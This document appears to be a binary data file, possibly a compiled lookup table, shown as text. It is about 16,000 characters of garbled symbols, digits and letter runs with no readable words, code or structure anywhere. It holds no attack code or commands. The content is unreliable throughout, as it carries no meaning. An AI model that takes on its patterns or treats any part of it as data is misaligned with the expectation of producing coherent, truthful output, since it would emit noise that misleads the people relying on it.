%!#"Ⱥɩ$ȺȺ8&('ɚȺɚɚ)ɚl+7,2-./01D345-6-89=:;<->?@-BCDeEWFOGKHI0F]JȺ0FLMɚNȺ7PSQRɩl0FɩTUTɚVɚ-X^Y\Z[Ⱥ7Ⱥl]0Fɚ_b`acdTɩfvgmhkijll7l7nroq8pȺ7ɚstɩul8wx}y{zl7l|]lɚ~ɚlȺ7l0FllȺl7lȺ65650FT70F8"TTɩ8"Ⱥ70FO"7Ⱥ65Ⱥ0F0FȺɚ7ɩȺɚɚ65TɚlO"Ⱥ8ȺɚT70Fɚ8T0FȺȺ8TȺȺlɚlɩɩ880Fɚ778"ɩȺTT7Ⱥ78ɚȺɚl9{7mɚɩ   TT 0F TȺȺlTɩ77Ⱥ"Ⱥ7 !T#%$8"&70F(])9*,ç+ç--3.çç/0çç12çç4ç5ç6ç7ç8çç:Fç;<Aç=ç>ç?ç@ççBçCçDçEçGMH5I55J5K5L57NSO5P5Q5R55ç5TUZVX5W5]5Y0F5[5\558^_`a~bpcjdgefThi7MMɚkm0Fl]Ⱥno7m8lqwrtsuv0F657Ⱥx{yz7llɚ|}>kT77ɚȺɚȺȺȺɩT7ɩɚȺ9{ɩȺT9ȺȺȺ0F8788ɚɚɚɚȺɩȺT7l77T77ɚȺ77ɩȺ7ɚ0FlɩlɩȺɚ7ççççççDçççççMT7ɩȺɚ7Ⱥ77ɩɚ77lɚlll87] lɩȺlTlTȺ  8O"  Ⱥɩl87ȺȺ]Ⱥ77Tlɚ9*#!7 Ⱥɚl"l7l$'%&8lç()ɩT65+1,.Ⱥ-7/0DȺɩ253477l67lɩ8TlT:F;A<>=ɚTɚȺ?@ȺɩTBCȺDEl8TGTHJIl65KLȺ7ȺɩçNOççPQçRççSDçU=VWX^Y]ZJ[\7<J_`abucrdgef3Dhijklmnopqst,vw{xy3Dz3D|~3D}3D3D3D,,,,,,3D3D3D3D,,35353D3D3D3D3D3D3D,3D3D,<77777777777777777  9*C^5<JJJJJJJJJJJJJJ  M" ; #!7"gʯ$)%'g&(g*.+,-977/5047123ʠ<p;/<67g89:d<d<J>X?E@D7AB7C+dg9FGJHIJKLMNOPQRSTUVWFtYfZd[\7]9^99_9`a9b99c97eBgxhijklmnopqrstuvw9yz{|}~5VU<779<еgdH7m7->9Q7;d;<<<<<<<d73 7777777777777FQ77777777777777777777777777BB B B 7 7777777B77ʠ ]!@"&7#7$%77'=(6)7*77+,77-.2/7707173747577778779:7;7<7B7>7?77AMB7C77DE7F7G7H77IJ77KL777N7O7PQ7RYS77TU7V77W7XB77Z7[\7T7^7_`|atbkBcdBeBfBBgBhBiBjBlBmBnBBoBpBqBrBskBuBvBBwBxyBBz{B7B}~BBBBBBBBBBkBBBBBBBBBhyBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBhyBBBhyBBBBBBBBBBBBBŕqqŕq3++++++"555555755555575555 55 5  55 55555555555555555 5!55#4$ʠJ%J&J'(J)J*JJ+,J-JJ./J0JJ12JJ3JQv5E36789:;<=>?@ABCD7F7G7HI77JK7L7M77NO77PQ7R77S7T7VwWzXYZ[\]q^_j`abcdefghiMlklmnoprsztwuv1xy1{|}~ӨN111{17B7777s Bg7ʯdd.Gdççv<7n=555шç55585555   55 57 5557ççççççç8çççççç* ç-ç!"ç#%ç$-ç&ç'(ç)ççT+7,ç-5.25/0515-535455655ç8955:;55<85>^?F@AçBçCDçEççTGTHIPJMçKçLçTNOçQçRçSççUVZWXY-[\]-_f`ab--cd-e--0Fghijklm-opqrs|txuvw-yz{ç}~ç555585855ççççççççw5ɚ5755565555-55555575ççççççç`ççȺç0FçT8ç7lçTTç78TçTTççççɚ7çççççl8çççççȺçççȺ ç-- ç-- -Tç ç çççççççR5&0F88ȺɚɚȺ #!"Ⱥ7$%ȺȺ8'0(,)*ɚ+T-/Ⱥ.7çȺ132794ll6C7<879:7Ⱥ;8ç=?7>T@BAɚȺTç7DJEGFɚȺHIç77çKNLMl99OPȺɚçQȺSçTkUgV`WXçTYZ][\7Ⱥ^_9]ɚɩafbcdelTçȺlhijȺ5-lrmpno--q8ȺstɚȺuv78Ⱥxçyzç{|}~ççɚç-ççɚȺȺlɚTD7çTlɚTç-ç87870FȺȺlȺ0F0F8Ⱥ8ɚl0FTç97Ⱥ7lçççççççlççççççççç7Ⱥɚ7Ⱥçç-ɚT-ɚTTçTTȺ0FlȺȺçç-ççççççççTçççççç-çç 558-55-5 555- 5 585 5555555555ççççççyV <!-"&#8$%7l8'+()lȺ*Ⱥɩ,ɚɚ.5/2018lȺ834]lȺ6978Ⱥl:;ȺȺ=L>E?B@A65ɚ7CDɚ765FIGT-H0FȺJKç-ɚMQNlOPTçRTlSUTWsXfY^Z][\lɚl_b`a0Flcdleɚgmhkij7Ⱥll7]nqop8ɚr]7tççuvçwx77Ⱥç{G|FM}~$BBBBBBBBBBBBBBBBBBBBBBBBBB,B,B,B,B,B,B,B,,BB,BBB7B77B77B77B77BB77B7777BB77BB7B77B7777BB7BB55BBBBBBB5BB7 BBBBB    BBBBBB "!B#B%z&N'B()B5*5+=,3-0./B12B4:5867BB9B;<BB>C?@BABBDJEHFGBBBIBKMLBBOBBPBQRfS]TWUVBXZYB[\B^d_b`aBBcBeBgnhkijBBlmBospqBrBtwuvBBxyB{|B}~BBBBBBBB55B55BBBBBBBBBBBBBBBBBBBBBBBB,,,,,isBBBBBBB7BBBBBBBBBBBBBBB7B7BBBBBBBBBBBBBBBBBBBBB    B BBBBBBBBBBBB B!"B#3$*%&('B)B+.,-B/10B2B4<5867B9:;BB=C>@B?BABBBDEBHIJqdKLZdMdNOdPddQRddSdTdUVddWdXdY%dd[\dd]^cd_`ddabddddemfdgdhddijddkldddndopddrstuvdxy|z{7Jd}~dççd79U3+<5hyBhyhy3ddddd9ddddddd dd dd d dd dddd%\- !"#$%&'()*+,.>/0123456789:;<=?@FABCDEGHIJKLTMNOPQRShUVWXYZ[h]c^b_`da<ddezfghuijklmnopqrstvwxy{|}~F7zF0UFFF0U0U7*g7drs!777777777777777  77 7 7 777777777 77"J#-$%7&7'()+*77,7.C/70917253477767787:?;=<7>77@A77B7D7E77F7G7HI7hy7KqL77MNbO]PUQR,7,S,T7,VYWX,77,Z[7,,\7,^,_,`a7,,7ckdg,e,f,7hi7,j,7,,lmo,n7,,p,7r77,tuv7w7x7yz{|}k7k~7kkk7kkkk7k7kk77kkkk7k7kkk77777777k7777777777777777777777k7777777777777555757557557557575575577557557557557577777,  77  77 7777B*77"777 777!7#($%7&'77)7+L7,->.5/0217374769787:<;7=7?H@EABC7D7FG7IJK777MN_OXPUQSR7T7VW77Y\7Z[77]7^7`gadb7c7ef77hk7ij7lomn77pq77st^uvw7x7yz{|~}77777777777777777,k77777777777777777777+777777777777777777777777 5  7575  7755577575755575"55755 !7557#($&5%57'557)75*7577-7./70D1;26345777987:77<?=>7@BA7C77EQFLGJHI77K7MNOBP77RXSVTUs ,W7Y\Z[77]77_`7abc7dpehfg7injlk7m7o7q|rwsu7t7v7xz7y77{7}~7777777777777777B777777777557575755755575575557555577777777777774777755755777775!7 777؉777B77777؉7 77 7 7 77,S7777777777777 7,S"3#.$77%7&'7(7),*+7 is-7z77/07177277,5Y6:77897,7;<7=D>7?7@77A7B7C7E7FPGJH55I75KM5L57NO7575QVRU5ST75775W7X757Z[\7],^t_g`dab7c7e7f7hlijk77mqnpo77rs77uv|wzxy77{7}~777777777777777777777777777777777777777757777777777777777FԦd    6\ 6\z< !"#$&8'(L<)<*+<,<-<<./<0<1<2<3?4<5:<67<8<9<K<<;<<=<<><@FA<<B<C<D<E<$G<<HI<<J<K<$MNqOaP^"QR"S"T"U"VZ"W"X"Y"["\"]""_`"bpcmdkef"PgiPhPPjPlP"n"o"Prstuyvx"w"PP"zP{~"|}"P"""""""P""""""""P"PP""""""PP7*dI/;T;`d*Sʠ;D-777;+d(<(<y,#q;4nNRdB    F;v RSRʠʠ. 7)"pZS !m#&$%'(O;+6,.-;;/01243F5(K7;;9U:;Jd<=dd>d?d@AdBdCLDdEdFdGdHdIdJdKddMdNdOdPdQdRdSdTdd7dW7XYZ1[\x]q^n_`abcdefghijklmop7rustg7vwʠ<dyz{|;7}+~ȑ)F|uj)FFd7777B7,S,S77B7,S7JPPZ877gF0UFFFFFFFFJd.GddddddddddLdzS=7;ґ9+)( <    )dBB7ʠy!<11 ʠʠґ"%#$е3ʯ&'dq*d,.-/0N234Q5O6Ad789:;<=>?@0UB[CDEFGHIJKLMNPQR^ST"UVW[XYq`Z'n\]q`_`iaJbJJcJdeUfJghJjklhy7mx7no7ptq7r7s77,7uv77w,is7yz7{7|77}~77777777B7777hyhy77hy77J3,,h3D3DJJa-5kSNbbFk9<<F<gBJ3<J<9Dg7FՒ7<7Jn*<     *9 d' Ù!$"#%&#()+J+g,<-.9/0123456789:;g=f7>?Z@NACBççDçEFHGçILçJKççTMçOVPUQçRTSçççççWXçYç[çç\ç]^b_`açcdçeç3hkijlm<7opq~r}s7txuFvFwFFy|zFG{FFF<dLLLLLG<0UݜZ\ʠ<*e7777ش7Z8d77777ՒZ8^;d;ʠdUUG#WUUUULL:iAFLFF>1   V:LV  iA(W``UUIV0U%LUUW:t(t# "!UUUUL:$(&+'()iA*)i:UU,.-iA/0V::23945678::;<=L?Z@OAMBCGDVEVFLHKIJ`W(LLNUUPQURSTLiAVWXYUU[\aUU]^_UU`VbcUUʠfghkijd;lmnwopqtrs>1A0>uv>0,0x~y{zː10|}>00ː0>G211AN9J9Z8dd//////79еееGAGP9z;97;*ddJ7777777777777777777B7777777777777777777777777797d< 1dddd  g  Bq< F!6"/,#$,%*&,,',(),,+,,,,-.,,0,1,2,,34,,5,,78?,9,:;,<,,=>,,,@A,B,C,,DE,,GpHXIOJ,K,,L,M,N,,PQ,R,S,TV,U,,W,Yb,Z[_,\,]^,,`,a,,,c,delfig,h,,,j,khy,m,n,o,,qrs{t,uxv,,w,,yz,,,|,}~,,FQ,,,,,,,,,,,,,,,,,,,,,,,,,,,/<7˭˭˭˭˭˭˭˭˭˭˭˭˭3D3D3D3D717Ndԙ7(<ԙԙQ{R{R{R{R{R{R{R{R{R{R{R{R{R{R{R{R{R{R{R{R{R77777 7  77  77777z 9d;0,ʠ !"#$%&'()*+#-.d/çd1423J;N56789:+v<^=?>7<@QABICF7DE77G_7G7HɊJPKNLM777O7>7;bR<SXTWUV7YZ9[\]1%s)+H_a`dbcd7<efmgjhi<Ւkln{ozpqwr9stT[uv)+RRdxyBd|J}hy~hyhyhyhyhyhyhyhyhy7hyhyhyhy0U;gdddddddddRd7777777777777ʠ7˭Glp G|G|G|Gv*z϶϶ <7JJJJGJJ<77+7;HG<g^ ;    TRRRdRRRdRTd6 ʠ9!."#J<$% & ' ( )  *+ , -  A/0*Q1Z823457P8;9:<=>?L@FAC<B<DEGG5GJHIGGU<KGH MHN<<OH)<QmRlST`UYVW/X;,;Z][\;;,^_;,;ahbecdʑ,fgtXb#ikXbj,,tnoqrstuvwdx{yz|}d~Gd9nEQ$J7dd,,,,,,,,,,,,,,,,,,,,,,,,,,,,7ҝN;;;Ia;;IaIa;;;Ia;J7duR 6ُ/'uR Adu90d0dH80d9d.G9J# /9#<     -r. HH1e(S[N{!"z73$4%3&'()*+,-./012ʠ56z8h9):u;<^=@>?ʠJ<ALB9CDEHXFIGHHhJKHXMVNJJOPJJQRJJSJTUJGqJWYXddJZ[Jdd\]dGd_`a7bc7dle7f77gh7i77jk77mno}pwqrt7s7uv77xy{z7|7~7777777777777777777777777777<ʠ<IʠddddLLHtHtLHtԦ9d/d77777B77777 777577777777a7s s 777BB  B   FQz   "isaBBB0 7!"77#$7%-&,',()*+7./,,,1K2C3=4957687777:7;7<77>?77@A7B7DHEF7ئ7G7IJ77L`MWNR7OP7Q7ST7U7V7X_Y7Z][\77^,7agbfc7de777h77ijqklnm7op7rs7t77vwxyz{;|}~T555ç`ȺȺççç7T55T99<-9͹͹z     #˭k73 %!#"d7(K$d7&('ddF*+,-L.;/70162345789:<B=>?@ACDEFGhHIXJOKLMNPSQRTVUWY_Z[]\^`dacbefgijxkqlomnprvstuwyz~{}|B66666666666656666B6656566656kkkkk/kkkkkkkk/kkk/kkkkkkk7     737& #!"$%'(.)*+,-hy/012k4D5<6789:;k=,>?@ABCkEFGHIJKMNOPkQ^RXSUT+-VWY\Z[M]_f`cabde1#gih3Sjlvmrnpo1q@~s@tu@@w@x}y@z@@{@|J*~@OO@@*@Ճ@@@@@J@@**@**7]7777777B77FQ777777777ʠQʠJJJJJJG7N(FFFFFF0U0UFFFFFF! FFFFFFFFFF   FF FFFFFFF 0U"#$%&'F)E*8+,-.4/01230U567F9:>F;<F=F?F@BAFCDFFFFGHIJKLMFOxPkQ[RST0UUVXWVYZF\e]^_b`aFcd0UfghijFltmnopqrsFuvwFyz{|}~FFFFFFFFFFFFFFFFZ8J 9JdJ*5575k7Oʠ7J     7*Q<<1D !*7"#7$'%&{77(){7{+9,2-/7.701؉773645{ش{78B7FQ7:>;7<=77?B@A7E,S(7C,SEJFGHIçJKLMNPXQTRS< ʠUVW997Y`Z^[\dU]U_abcdefgUijkl}Jmnopvqr77st77u7wxyz7z{|o:~7;ԙ<7;<| <ʠ//*/*<;dhW4XWaX&X#WˇxWĿ377555555555555555555555555556(KQ97;<mB> *g<,XXX_9    +gԙ9*d<2$ #!"u%0&'<;()UU*+UU,-U.UU/UF1738465Q7u9;:<<=+d-?@AdzCjD[EF7GHHHHIHJKHHLMTHNHOPHQHRHHSHHUVHWHHXHYZHH\]^_`abcdefghiHkl7ʠʠnopqr<Qstu77vw7x77yz7{77|}7~77777777777777gg79DHzdVSR7777777B77777777677777777777hy77777hy77777hy777B7B777777B777777,777757757! BBBBB6B5BBBBBBhy B B  BBBBBB5BBBB5BBBBBBBBB B"E#1$BB%&B'-(BB)B*+B5,5BB.B/0B5B2;B3B45BB67B8BB9B:FQBB<B=>BB?@DBABBBC5B5BBFGBHLIBBJKBBMBBNOBBPBQBTUJWXY[Z\]^7_`nacb77dfe77g7h7i7j7k7l7m7L*7op7qrst}uzvx7w7y77{7|7~777777777777777777777777777777777777777777777777777777B7777777hy7777777777777779d7777777$ 7A"kkkkkkkkkkkkk k k k kk kkkkk/kkkkk/kkkkkk !kkk#$*k%&k'kk(k)/k+k,8-2.0///k1k/k364/5/k/7/k9@:=/;k<k>?k//k/kBmCTDNkEFJkGkHkI/kkKLkMk/kkOkPQkRkkS/kU[VkkWkXYkZk/k\d]`^kk_/kkakbck/keikfkgkh/kjkkklkk/noxpkqkrukstkBkkvkwk/ykzk{~k|}k/kkk/kkkkkk/kkk/kkkk/kkkkkkk/kkk/kk/kkkk7k7k7k7kk777k777k777k77k7k7777kk7k7kkkkkkkkkkkkkkkkkkkkkkkkkkkk/kkkkkkk/kkkkkkkkkkkkkkk/;k k kk k k/ kkkkk/4&/k///k/kk/#!/ /k"k/k$kk%k/'/(,k)*kk+kk-k.k0k1k2kk3k5k6kk78k9kk:k/<e=L>G?k@kAkBDkCBkEkkF/kkHIkJkkK/kMkNWkOPkQTRkSkk/kUkV/kX\YkZkk[/]ak^_k`k/kkbcdk/k/fgxhkirjmkkkl/knpkok/qkksuktkvw/k/kyz~k{|k}kkkkkk/kkkkkk/kkkkkkkkkkkkdddddRyx:::::::::UU:::::::::::::::V:::::::::L::::::::I::::::::UU:::L:0U0U0U0U0U0U0U0U0U0UL0U0U0U0UI0U 0U0U0U0U0UV0U0U0U0U0U0U0UI0U0U0U0U0U0U0U0U0UI 0U 0U 0U0U 0U0U0U0UI0UqC%:::::::::L ::!":#::$:&4'-(:)::*:+,::.L/L0LL12L3LIL5=:6:7:8:9::;:<::I>:?::@:A:BV:DOE:F::GH:I::J:K:LMN:nn:P`Q:RZSVTULP"Q:WX:Y::L[^\`V]UU:_:iA:a:bic:dLVef:g::hV:jn:kl0UVmV(otnpWVr:s:t:u:v:w:UU7z7B{|}d~dddBBBBBBBBBBkB(BBBBBBBBBBB5BBBBBBBBBBs BBBBBBB5BBBBBB5BBBBBB5BBBBhyBBBBBBBBBB,BJʠǬ9JC.çççççççç9çç-8ççT77T777  l  ɚlȺ 0FȺȺlȺççç0FTT0F7)ç%# "!7ȺȺ$lT&ç'(ɚ7ɚç*ç+,çç-ç/=0ç162ç3ç45çç5ç78ç9;ç:ç5ç<ç5ç>?ç@ççABç5çDQçEFKçGHçIççJçȺçLMççNçOPççRSiçTU^VYçWçXɚ0FçZ[]\ɚɚȺ0Fɚ_f`cabɚ-çdeɚɚççgçhçɚçjkulnmçç8orpqɚȺç0Fst7lv|wyTx7Dz{0F8ɚ}~70F8ççççççç-çççç5çççȺççççççççççç-ççççççççççç5ççççççç5ççç53D0 /7````````````7<d79d77777>7GC-     ç!Ⱥ5 çç5"$#ç%&'*()5+,5./;0123945678Ⱥ:ç<=>?@ABTDhE`FVGHPIJKLMNOçQRSTUɚWXYZ[\]^_ɚabcdefgȺiyjvktlmnopqrsçu5wxȺz{|}~l7çZxJb,'n'nb7H7H /Br`rrȞ>> 6 %   > >!"#>$]&'.()*+,->/01@k234>5>7;8>9:`<=>@?>A,CDpEIFGH>JU>KLMNORPQSTVcWbX]YCZC[C\C^C_CC`CaC>dfe>ghmijkl]OPnoOPqrvstu>wxyz{~|}- >-k>>>>>>- />>>>>>>>7]>>Z%ç>> ç ç   >>ççȐ! >>"#>$&H'(@)*;+>,-8./01234567:9:ç<>=>?>ABCDEFG>IMJKL>NOXPR>Q>STUVW,7Y>[|\h]^_e`ab>cd?fg>ijknlm>oxpsq>r>tvu>w>y{>z>>}~>>7çç77--:`>  N   >>B/# !"$%&'()*+,-.0:12534:6789;<=>?@A9CDJEFGHIKLqM^NVOPQRSTU5WXYZ[\]c_g`abcdefhikj5lmonçpçrsytuvwxçz{|}~TTɚDɚ8ccc7N>>>>>>$:o:o:o:o:oM:o:o>   >  ȐHH!> ">#%;&'(/),*+Ȭ-.07142356Ǟ89:<=>>?C@ABȐDEFGHIJKLM7]OPnQVRST>U>WXkYZ[_>\]>>^>- `fac>b>- de- >>- gih>- j>>- lmopsqr>tuvw{xyz- |}~- 5-çȐ- - \ȺǞ>Bq>>>,>,,Ȑ7<>\     >Ȃ >!3"#+$%(&')*5,-0./12D4:56789`;H=F>>?>@ABbCDE-GHZIJKNLBCMBCBCOUPRQBCSTBCVXWBCYBC[>]^t_c`>ab>dlefghijk>mnopqrs>uvwxyz{|}~>>7>,>b>>- >>- >>>>>>>- >5ççççççççççççç> >>>>>>ç>>>->>>>>>>>ȞǞȐ6%  "  >>>>ç> !5#$%&'()*+,-Ȭ.`05123Y45"67P89-:F;@<>=çN7?7OPADBC0F-ȺE/81GLHI9JK-MONȺ65ç-QRSTUuV_WXYZ[\]^`anbhcdefgijklmopqrstvwxyz{|}~     >>! - >>#3$&%>'1()-*+,./02>456E7;89:8<=>?B@AɊOPCD|MFNGHJIlKML7O5OVPUQR-ST::OçWXçZ[p\]m^l_`@ab@c@d@e@@fg@@h@i@j@kH@>no>qsr>tuvw{xyzN|}~><@>ȐB>>`>T5`ȬT5`ȬT5`ȬT5`ȬT5`Ȭ<H-5`Ȭ>>>>>>Ǟ-Ǟ7 > Ȭ   Ǟbc1/)$ !"#>%&'(ç*-+,- l.>024>3>5`6_7O8A9<:;Ȑn=?>r@ǞBCEDȺFGH5I5J5K5L5M5N55PWQTRSǞUVX\YZ[Ǟc]^Ȭeabdefzgxhvipjmkl- n- o- q- rs- tu- - w- - y- {|}~>,c-çcW>@>ç>>>çr>>>Ȭ>RR- >- >     >>R/>(&% d!d"d#d$ddd'),*+dd-.d012?3947567B87FQ:=;FQ<7>7FQ7@EAC7B7D7w]7FQGHIJKLMNOPc7STU>V>XY|Z[t\q]^_e`baç>cd>fghijklmnoprsuvwxyz{`}~>>>>>>>>>>>>>>>>@>>>>ش>>>>>>>>9>>>>>>>>>>>>>>>CO+::::::::-r     ǞǞ]>`````> $!>">#>- >>%>&')(- >- *>>@{,->./>0>1>2>>3>4H>678c9V:;<=>?>@ASBPCDELFIGH:O:o:JK:::MNO:_AO@QR:O7]TUW_XY>Z[\]- ^>`ab>defg~hijvklmnopqrstuwxyz{|}CB!;Cr>UUUUn>>>>? >>>>7>ç     >>>>J :!("#$%&'>)*+,-4.1/0`Ȑ23Ȃ5586759Ⱥ;><=>?@ABCD5EG5FHIǞȺǞȺK]LUMNOP>QRSTVWXYZ[\^|_w`ajbecd>fghi0d0dklmnopqrstuvxByz{>}~>>>>>rr>MrȬɚɚççççççççççççççççççɚçMrȬrɚ > >  >> >>>>>>>>>f* '!#">$%&()>+@,-I.3/012ç4>56>>7>8>9>:>;><>=>>>?@{>ABC>DEHFGȐITJKLMNOPQRSȐUV^WçXçYççZç[ç\ç]ç_`abcdeçghqipjklmnoǬfBrs|tyuvwxz{-}~7ǞǞ5Bq7r- ]Ȑ]Ȑ]ȐȐ]ȐȐ]]]]Ȑ]c]Ȑ5Ȑ--rȐ>/oo>>7Ȑ>55   >  >>>>V>7I>8 *!$"#%&'b(o);b+,5-1./0j23467>9J:<;>=>?@ABCDEFGHIKLM>>N>OP>>Q>R>S>T>U>- WXY[Z>\h]c^_`abrdefـgq`ij>klmn{oupqrst96T8@vwxyz96T8@|}~96T8@96T8@9>>";*Z7SQdddMH7;<çԦ 7//I I//AIg<7zz!CCBC   9 < S~/BI)ʠ9U'$#<7 !"7*%&(Kе(*)g+T,3-0./ш12-7шɚ4@56-шш7ш8ш9:шш;<ш=шш>ш?шїACшB-шDшшEFMGшHшшIJшшKшLїшNшOшPшQшRшшSшїQVcWYXZ[<\<]`^_Qabdf7eghijsklmnopqr0Ut|uvwxyz{F}~0UFFFFFF<9ZxՒ77<71 7  7   7#JId7g<ʠ7<7///////////I8/dM&  777]]]]]]777777777<   ddd7ՒJd <!%"#$7;<'C(B)7*d+2,/-.d01354d6890 0 :;0 <0 0 =0 >?0 0 @A0 #0 BDFESyGHеJ7JsK^LRMPNO7QSUTKVW9Z8XYZ7[\]Fd_h`ba$cgdmVef#TipjokFlmnJqrddtu~v{wz7xdydJ|}7<971dg$d"Ԧ<7*JԦ;FՒ7777VVJ;9dеQе<)+ʠ79;0Uoud7 "7>NNNNNNNNNNNN   ʠ "vvVԙzdNd+/ԙ3 g gg!gv#$%&v'U(5d)*dd+,0d-d./dSdd12d3d4dSd6:7d8d9dSd;O<H=E>A?do@odBDdCoddooFGdodIMJLKodoodNdoddPdQdRdSdTdoVWXnYdZ`[_\dS]^ddddadbcodeifdgh%djldkd%SmSodpdqsdrSotu%Sowxyooz{|}~dddddddddddddddddoddddoddoddodododddodd%%%dd%ddd%dd%ddd%%%d%ddd%%%%%ddd%%ddddddddddddddddddddddddʠ+<(KZ77IH/)  Q  J JJJJJJJJJIWJJJIgJg(ʠ !"#$%&'17*,+(KJ-.;0714237*ʠ56N897:ʠ7<=>Z8?@wAYBCDEJFGHInnKVLMnNOPQRSTUnWXnZc[_\]^**<`ab@**dgef<7hji<gknlm<7gorpq<stguvddxyddzd{|g}g~gggggggggg/gyeʠՒJ\A777777,ZJJw'^'^'^70F70F7ɚ0F70F0F70F7m77;J;ʠʠʠʠʠw*7'N'''h9<d%    d 77797 7JʠŴŴŴ!$"#.G&F'-(+)*,3.7/01234561t89d:<;77<=7>77?7@7A7B7C7DE7k7GqHKIJg<ԦLM9NXOPQRSTUVWYiZb[^\]_`acfdeghjkn-lmloprustJ1vwx<yz{|}~9773DJ7*7;Fdddz0Ug7777 z9d*UUFUU:UUIUU<Ԧʠ d<;J<);<); <E<)   v^dʠ7J;: -!$"#z%,&}'(*})}}+}]9.1/07J23l457689x9!p;?<>=7@QADBC7EFGHIJKLMNOPRW9STUVXYZc[\]_^````ab`dȬfghijklmnopqrstuvwxz{|d}~d<hy77777777B777777777777777777777777777B)   5  7777777 777777!#7"7$'%&777(7*3+,-./012B456789:;k=>i?U@ABCDENFIs GHs s JLKs s Ms s ORPs BQs s STs V`WXYZ[\]^_Babcdefghzj~klumnopqrstBvwxyz{|}hy5,5B<kkkkkkkkkkk5s Bs Bs s Bs L*s s s Bs s L*Bs L*L*s s Bs 77555555555555555555556Bk*  k k/kkk  kkkkkkk kkkkk!#k"k$'k%&k/k()kk+/,k-kk./k03k12kk/k45k/k7B89kk:k;k/=7>?@bAQBHCEDFGIMJLKNOPRYSVTUWXZ_[]\^`acdxepfjghikmlnoqsrtwuvyz{}|~555555555555555555555555555555555556555555555555555555e:55555555555555555555  5  55 55555' 5555555!#"55$5%&55(1),5*+5-/.5505527355456558595k;k<=S>I?Bk@kAkCGDE/kkFkHkJNKMLkkOPkQRkkT^U[VXWkYZkk\k]kk_b`kakckkdk7fghi~jsknlmoprqtxuvwy{z|}`7BBBBBBBBBBBBBBBBBBBBBB0kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk/k kk  kk  kkkkkkkk%kkk "!kk#$k&+')(kkk*k,.k-kk/k1Z23G4>58679<:;=?D@BACEFHSIMJKLNOPQRTXUWVY[\]^_5albckdekfikgkhk/jkkkkmno5pqyrt5s5uw5v55x5z{|5}~55555555555555555555B5555555555555555555555555555555Bkkkkkkkkkk/kkkkkkkkkkkkkkk/k  kkkkk k k /k(kkkk/kkk$ "!k#kk%'&kkk)5*0+-,k./kk132k4k6:7k89kk;?<=kk>/k@AkC{DIE5FGH5BJ5KeL\MVNROP5Q55SUT55WYX55Z[55]a^_5`55bc5d55fpglhj5i55k5mn5o5qxru5st5vw555yz55|5}5~55555555555555555555555555Ihyhyhyhyhyhyhyhyhyhyhyhyhyhyhyhyhyhyhyhyhyhyhyhyhyhyhyhyhyhyhyhyhyhyhy.k kkk  k  kkkkkk#kkkk !"kk$)%(&'kkk*,+kk-k/@0;1423586779:<=>?AEBCDFGHJKyLkMaNXOSkPQRkkTWUkVkk/kY\kZ[kk]^`_kkkbocjdgefkkhikkkmlkknkkpvqskrktukkkwkxkz{|}~L*s L*L*BL*s BL*L*s L*L*BL*s L*Bs L*Bs s L*L*Bs L*L*BL*s L*s s s L*L*BL*s Bs BBs L*s s L*Bs L*Bs BL*s kkkkkkj/7d  3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b 3b  3bʠJJ;J)($JJJIs J!JI"#IIsIJ%&J'JJI*,+7-.<0T1F2C3475<6978N:;N<T=@>?**AB<DEdGQHI<JKdLdMdNdOdPddRSU_VXWY^Z[\]Tz`gafbcde,hiddʠklxmsnp<oqrtvuJwggyz|{JZx/}~;Nʠd,*77TȺ7Ⱥ87m79{77çççççççç-7ȺɚȺlllȺ7ll8ȺɚɚlȺȺ-7d9dJb*97U*ddNRJ7do<dd<dddddd ddddddd d  ddRd dddddddRdRdddddddddd !dRd#|$g%£&<'*()3<+7,-./0123456789:;=p>?J7@Z87A7BCjD[ELFIGHisT7JK7zMYNUشOPR؉Q؉,SST}!VhyWX(]ZB\c]`^_FQ7kabشdgef5hiz77k7l7mno77qrsJtzu7v7w7x7y77{|}‚~€77ƒ„…†‡ˆ‰Š‹ŒŽ؉7‘’7“”•–57—š˜™9l{7{›œ>O"{8ž¢IŸv ¡vv(w¤¥_¦§¨¹©±ª«*¬­®¯°7²³7´µ¸¶·º»¼7½¾77¿7I9B9IBK1Jg777B7777,77<*Qʯ}C(IUU+%pW&&&&&&&&I4WxʡĿ    ĿWx ĿIĿxMNXSU7U7XDU79 7!"77#7$7&('9)*;,I-3.2/01+//4576w7>89:;<=?A@BCDEFGHJPK;LMNOÙ~QR9ST77UV7W77XY7Z7[77\]7^77`Óarbhcfde9d7g<dipjdklmd<noq7sÍtÉuv<wJxÆyddz{~|dd}RddÀdÁddÂÃdÄddÅd9dÇÈd9dÊËdÌ7ÎÑÏÐd<dÒÔãÕÚÖ×7ØÙ˭dÛáÜÝÞßà(â9<äåæçè.)éê.).)ëì.)íûîôï.).)ðñ.).)ò.)ó_.)õø.)ö.)÷.)ї.)ùú.).)їü.)ýþÿ.).)_.).).)pw.).).)I.).).)~.).).)I.).)P/.).).).)p.)0 97777L*L*L*L*BL* V7Jeg4     -*Į^)7!777777,7 L*77"#7$77%7&'(!kk*G+@,7-7.8/57017723774B7767779:=;<L*z7>?+Y7 7A7B7C77D7EFa57HRI77JK7LO7M7NB77P7Q7SX7T7UV7W77Y77Z[77\7]7!_Ĝ`wapbf7c7d7e7gh77ij77kl77m7n7o+Y7q7r7s7t77uv77BxČyĆzĂ{7|7}7~777Ā7ā7ă7Ą77ą7B7ć7Ĉĉ77Ċċ77Bč77ĎďĘĐē7đĒ77ĔĖ7ĕ7aė7a77ęBĚ7ě7ĝ77Ğ7ğ7Ġ7ġĢĨģ77Ĥ7ĥ7Ħ7ħ7ĩ7Ī7ī7Ĭ77ĭ7įİı7IJij7Ĵ77ĵĶĺ7ķĸĹ7s kBĻľļĽzĿ/5Bhy7,77777is77777k777777k777777775775 777 7  7 77k7777777E!7777777777 7"6#)7$%77&'7(77+Y*7+2,/7-hy.7071777347757(77879@:7;=7<7s >?s FQFQ77ABD7C 777F7GH^I7JQ7KLOMN7  zP77RYSVTU77WX77Z\[7,77]7,7_`77a7bcdis7L*7fhIiƗjƕk 